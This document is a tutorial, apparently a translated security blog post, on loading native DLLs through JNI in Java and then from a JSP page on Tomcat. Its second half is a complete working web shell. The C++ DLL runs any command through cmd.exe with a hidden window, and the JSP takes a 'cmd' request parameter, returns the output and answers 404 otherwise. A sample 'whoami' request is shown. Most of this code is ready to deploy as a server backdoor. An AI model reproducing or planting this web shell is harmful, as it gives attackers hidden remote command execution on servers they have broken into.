0x00 Preface

---

Java can access native dynamic link libraries through the JNI interface, thereby extending Java's functionality. This article will use the Tomcat environment as an example to introduce the method of loading DLLs via JSP, including open-source code and detailed notes.

0x01 Introduction

---

This article will cover the following topics:

  • Fundamentals
  • Method for Java to load DLLs via JNI
  • Method for JSP to load DLLs via JNI

0x02 Fundamentals

---

JNI, short for Java Native Interface, is the native programming interface for the Java language. It can be used to call DLL files.

Steps to call the JNI interface:

  1. Write Java code, specifying the native dynamic link library and native methods to be accessed.
  2. Compile Java code to get .class file
  3. Use javah to generate the corresponding .h file for this class
  4. Use C++ to implement the function, compile to generate dll
  5. Call dll through Java

0x03 Method for Java to load dll via JNI

---

This section will implement loading dll through Java and output "Hello World" in the command line

1. Write Java code, specify the native dynamic link library and native method to access

HelloWorld.java:

public class HelloWorld {
private native void print();
static
{
System.loadLibrary("Hello");
}
public static void main(String[] args) {
new HelloWorld().print();
}
}

Note:

You can also use System.load to specify the absolute path to load the DLL, code example: System.load("c:\\test\\Hello.dll");

The above code specifies accessing the local Hello.dll and calling the local method print()

2. Compile the Java code to get the .class file

cmd command:

javac HelloWorld.java

After executing the command, the file HelloWorld.class is generated

3. Use javah to generate the corresponding .h file for this class

cmd command:

javah -jni HelloWorld

After executing the command, the file HelloWorld.h is generated

To simplify the configuration of subsequent C++ projects, it is necessary to modify HelloWorld.h by changing #include to #include "jni.h". The modified content is as follows:

/* DO NOT EDIT THIS FILE - it is machine generated */
#include "jni.h"
/* Header for class HelloWorld */

#ifndef _Included_HelloWorld
#define _Included_HelloWorld
#ifdef __cplusplus
extern "C" {
#endif
/*
* Class: HelloWorld
* Method: print
* Signature: ()V
*/
JNIEXPORT void JNICALL Java_HelloWorld_print
(JNIEnv *, jobject);

#ifdef __cplusplus
}
#endif
#endif

4. Implement function functionality using C++, compile to generate dll

Using Visual Studio, create a new C++ project Hello, select Win32 Console Application, application type as DLL, additional options: export symbols

Either modify dllmain.cpp or Hello.cpp, the specific code is as follows:

#include "jni.h"
#include
#include "HelloWorld.h"
JNIEXPORT void JNICALL
Java_HelloWorld_print(JNIEnv *env, jobject obj)
{
printf("Hello World!\n");
return;
}

The project requires referencing the following three files:

  • jni.h, located at %jdk%\include\jni.h
  • jni_md.h, located at %jdk%\include\win32\jni_md.h
  • HelloWorld.h, generated using javah

Compile to generate the dll

Note:

The test environment is a 64-bit system, so choose to generate a 64-bit Hello.dll

5. Call the dll via Java

Save Hello.dll and HelloWorld.class in the same directory, then execute the command:

java HelloWorld

Obtain the return result:

Hello World!

Load successful

0x04 Method of loading dll via JNI in jsp

---

This section will implement executing cmd commands and obtaining command execution results by accessing jsp files in the Tomcat environment

1. Write Java code, specifying the local dynamic link library and native method to be accessed

testtomcat_jsp.java:

package org.apache.jsp;
public class testtomcat_jsp
{
class JniClass
{
public native String exec( String string );
}
}

In the Tomcat environment, the following restrictions apply:

  • The fixed package name format must be org.apache.jsp
  • Java file names must follow a fixed format: ***_jsp, and the subsequent JSP file name must match it. For example, testtomcat_jsp.java, then the final JSP file should be named testtomcat.jsp.
  • The class name does not need to be restricted to JniClass; it can be arbitrary.

2. Compile the Java code to obtain .class files.

cmd command:

javac testtomcat_jsp.java

After executing the command, files testtomcat_jsp.class and testtomcat_jsp$JniClass.class are generated.

3. Use javah to generate the corresponding .h file for this class.

Save testtomcat_jsp$JniClass.class under \org\apache\jsp\.

cmd command:

javah -jni org.apache.jsp.testtomcat_jsp$JniClass

After executing the command, file org_apache_jsp_testtomcat_jsp_JniClass.h is generated.

To simplify the configuration of the subsequent C++ project, modify org_apache_jsp_testtomcat_jsp_JniClass.h by changing #include to #include "jni.h". The modified content is as follows:

/* DO NOT EDIT THIS FILE - it is machine generated */
#include "jni.h"
/* Header for class org_apache_jsp_testtomcat_jsp_JniClass */

#ifndef _Included_org_apache_jsp_testtomcat_jsp_JniClass
#define _Included_org_apache_jsp_testtomcat_jsp_JniClass
#ifdef __cplusplus
extern "C" {
#endif
/*
* Class: org_apache_jsp_testtomcat_jsp_JniClass
* Method: exec
* Signature: (Ljava/lang/String;)Ljava/lang/String;
*/
JNIEXPORT jstring JNICALL Java_org_apache_jsp_testtomcat_1jsp_00024JniClass_exec
(JNIEnv *, jobject, jstring);

#ifdef __cplusplus
}
#endif
#endif

4. Implement the function using C++, compile to generate a DLL

Using Visual Studio, create a new C++ project TestTomcat, select Win32 Console Application, set the application type to DLL, additional options: export symbols

Either modify dllmain.cpp or TestTomcat.cpp, the specific code is as follows:

#include "jni.h"
#include "org_apache_jsp_testtomcat_jsp_JniClass.h"
#include
#include
#include
#pragma comment(lib, "User32.lib")

char *ExeCmd(WCHAR *pszCmd)
{
SECURITY_ATTRIBUTES sa;
HANDLE hRead, hWrite;

sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;

if (!CreatePipe(&hRead, &hWrite, &sa, 0))
{
return ("[!] CreatePipe failed.");
}

STARTUPINFO si;
PROCESS_INFORMATION pi;
si.cb = sizeof(STARTUPINFO);
GetStartupInfo(&si);
si.hStdError = hWrite;
si.hStdOutput = hWrite;
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;

WCHAR command[MAX_PATH];
wsprintf(command, L"cmd.exe /c %ws", pszCmd);

if (!CreateProcess(NULL, command, NULL, NULL, TRUE, NULL, NULL, NULL, &si, &pi))
return ("[!] CreateProcess failed.");

CloseHandle(hWrite);

char buffer[4096] = { 0 };

DWORD bytesRead;
char strText[32768] = { 0 };

while (true)
{
if (ReadFile(hRead, buffer, 4096 - 1, &bytesRead, NULL) == NULL)
break;
sprintf_s(strText, "%s\r\n%s", strText, buffer);
memset(buffer, 0, sizeof(buffer));

}
return strText;
}
JNIEXPORT jstring JNICALL Java_org_apache_jsp_testtomcat_1jsp_00024JniClass_exec(JNIEnv *env, jobject class_object, jstring jstr)
{
WCHAR *command = (WCHAR*)env->GetStringChars(jstr, 0);
char *data = ExeCmd(command);
jstring cmdresult = (env)->NewStringUTF(data);
return cmdresult;
}

Note:

The code JNIEXPORT jstring JNICALL Java_org_apache_jsp_testtomcat_1jsp_00024JniClass_exec(JNIEnv *env, jobject class_object, jstring jstr) must match the declaration in the header file.

The project requires referencing the following three files:

  • jni.h, located at %jdk%\include\jni.h
  • jni_md.h, located at %jdk%\include\win32\jni_md.h
  • org_apache_jsp_testtomcat_jsp_JniClass.h, generated using javah

Compile to generate a DLL

Note:

The test environment is a 64-bit system, so choose to generate a 64-bit TestTomcat.dll

5. Call the DLL via JSP

Upload TestTomcat.dll to Tomcat, create testtomcat.jsp in the web directory with the following content:

<%!
class JniClass {
public native String exec(String string);
public JniClass() {
System.load("c:\\test\\TestTomcat.dll");
}
}
%>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
JniClass a = new JniClass();
String res = a.exec(cmd);
out.println(res);
}
else{
response.sendError(404);
}
%>

Note:

The JSP file name must be consistent with the previous Java file

Access URL: http://127.0.0.1:8080/testtomcat.jsp?cmd=whoami

Obtain command execution results, loaded successfully

0x05 Summary

---

This article uses the Tomcat environment as an example to introduce the method of loading DLLs via JSP. The open-source code records details and can extend JSP functionality.